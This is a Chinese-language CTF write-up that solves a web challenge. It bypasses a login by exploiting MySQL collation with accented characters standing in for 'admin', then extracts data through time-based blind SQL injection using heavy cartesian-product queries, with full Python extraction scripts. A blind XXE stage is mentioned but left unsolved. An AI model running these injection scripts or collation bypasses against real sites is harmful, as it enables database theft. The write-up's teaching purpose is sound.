一道结合了mysql字符集collation,heavy query,blind xxe的综合题目
2019年4月8日11:07:51
###一,mysql字符集collation###
REFERENCE:
mysql字符集与比对方法collation
Collation chart for utf8_general_ci, European alphabets (MySQL 6.0.4)
主页面非常简单,只有一个登陆功能,提示要以admin账户登陆。
登陆无论输入什么都是username or password error!
,输入一些特殊字符还会触发waf:
解题思路:
- 猜测这道题考的是sql注入,且要求用admin账户登陆
- 我们要做的是通过尝试来猜测后台拼接语句
- 通过sqli得到admin密码或者cookie之类的
用字典爆破了一下,发现过滤了很多关键字:
看来题目并不想让我们sqli,扫一下后台果然发现robots.txt:
.........login.php
$username = preg_replace("/[0-9a-zA-Z\[\]\=]/", "", $username);
$regex ="/`|'|\"|=|>|<|\/\*|;|\.\.\/|\.\/|,|\^|#|--|&/i";
if(preg_match($regex,$username))
{
die("hacker?");
}
$sql="SELECT * FROM users WHERE username='".$username."'";
.........
后台把a-zA-Z都替换成了空,还要我们传入admin,这里考的其实是个trick,见REFERENCE
于是通过查表替换admin为%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1
。但是遇到了新的问题:修改后通过脚本发送后还是没有绕过:
url="http://ip:port/login.php"
data={
'username':"%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1",
'password':"1"
}
cookies={
"PHPSESSID":"fceeqdmu5cj7k32tjlh7b63nk5"
}
r=requests.post(url=url,data=data,cookies=cookies)
print r.content
接着在浏览器端用hackbar提交依然错误,并且参数还错误解析为:
可能是浏览器对unicode编码的解析问题,最后只能再在bp上试一下:
没想到,竟然成功了,进入了一个新的页面。看来是python和浏览器对于unicode都有自己的想法,要弄清楚这个问题还得之后再深究一下。
二,heqvy sql
导航栏有一个 content 链接,url是http://ip:port/content.php?id=1
,页面也提示是sqli,这下才真的是sql注入
- 在url中常规sql fuzz:
-
再测试一下联合查询注入和报错注入发现没有任何反应,根据过滤
sleep() 和 benchmark()
,估计是考时间盲注,这里可以用到heavy query,脚本如下:import requests cookies={ 'PHPSESSID':"fceeqdmu5cj7k32tjlh7b63nk5" } url = "http://ip:port/content.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23" data = "" for i in range(1,1000): for j in range(33,127): #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #heavysql #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #content,secret,users #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='secret'),%s,1))=%s)" % (i, j) #id,secret payload = "(ascii(substr((select secret from secret limit 1),%s,1))=%s)" % (i, j) #you can find flag in./wwwwwwrittttteeee.php payload_url = url%(payload) try: r = requests.get(url=payload_url,cookies=cookies,timeout=3) #需注意这里的timeout需要根据网络情况适时调整 except: data +=chr(j) print data break
得到提示./wwwwwwrittttteeee.php
,访问之
脚本多种写法:
除了用ascii(substr())或者ascii(mid())之外,还可以用regexp '^$'的方法,利用正则不用担心中间某次因为网络状况不好而出错,因为每次匹配都是根据之前匹配出的字符串接之后的字符串来匹配。
但是也有一个缺点,就是如果目标字符串中有单个字符的元字符例如?*.^$+
,需要提前进行转义,需要注意的是,转义需要添加两个\
。
或者用另外一个办法,将查询到的字符串转换为十六进制,但是这样有个新的问题就是会将原字符串扩充为两倍(十进制字符转成十六进制数),如果是时间盲注则会大大增加时间成本,但是如果不是时间盲注则会缩短时间成本。附脚本如下:
import requests
import string
url ='''http://ip:port/content.php?id=1'or %s and (SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C)--+'''
cookies={
'PHPSESSID':"h6f1rh7vpjf2do6ko1dort31k4"
}
#payload="(database() regexp '^%s')" #heavysql
#payload="(select group_concat(table_name) from information_schema.tables where table_schema='heavysql') regexp '^%s'" #content,secret,users
#payload="(select group_concat(column_name) from information_schema.columns where table_name='users') regexp '^%s'" #id,username,password
#payload="(select group_concat(column_name) from information_schema.columns where table_name='secret') regexp '^%s'" #id,secret
payload="(select secret from secret limit 0,1) regexp '^%s'"
flag=""
for i in range (1,100):
print i
for letter in string.printable:
if letter in "^*+$.":
letter='\\\\%s'%(letter)
tpayload=payload%(flag+letter)
turl = url%(tpayload)
try:
r=requests.get(url=turl,cookies=cookies,timeout=3)
#print r.content
except:
flag=flag+letter
print flag
break
第二种方法,将查询到的字符串转为十六进制
payload="(select hex(secret) from secret limit 0,1) regexp '^%s'" #you+can+find+flag+in
hex_tables="0123456789abcdef"
flag=''
for i in range(1,100):
print i
#for letter in string.printable:
for letter in hex_tables:
tpayload=payload%(flag+letter)
turl = url%(tpayload)
try:
r=requests.get(url=turl,cookies=cookies,timeout=3)
#print r.content
except:
flag=flag+letter
print flag
break
#a="796f752063616e2066696e6420666c616720696e2e2f77777777777772697474747474656565652e706870"
#flag = ''.join([chr(int(b, 16)) for b in [a[i:i+2] for i in range(0, len(a), 2)]])
三,Blind XXE
看页面框内有提示是XXE,尝试了一下没有回显,猜测是Blind xxe,需要服务器接收信息,但是暂时还没找到合适的服务器,这道题就先做到这里了,收获很多。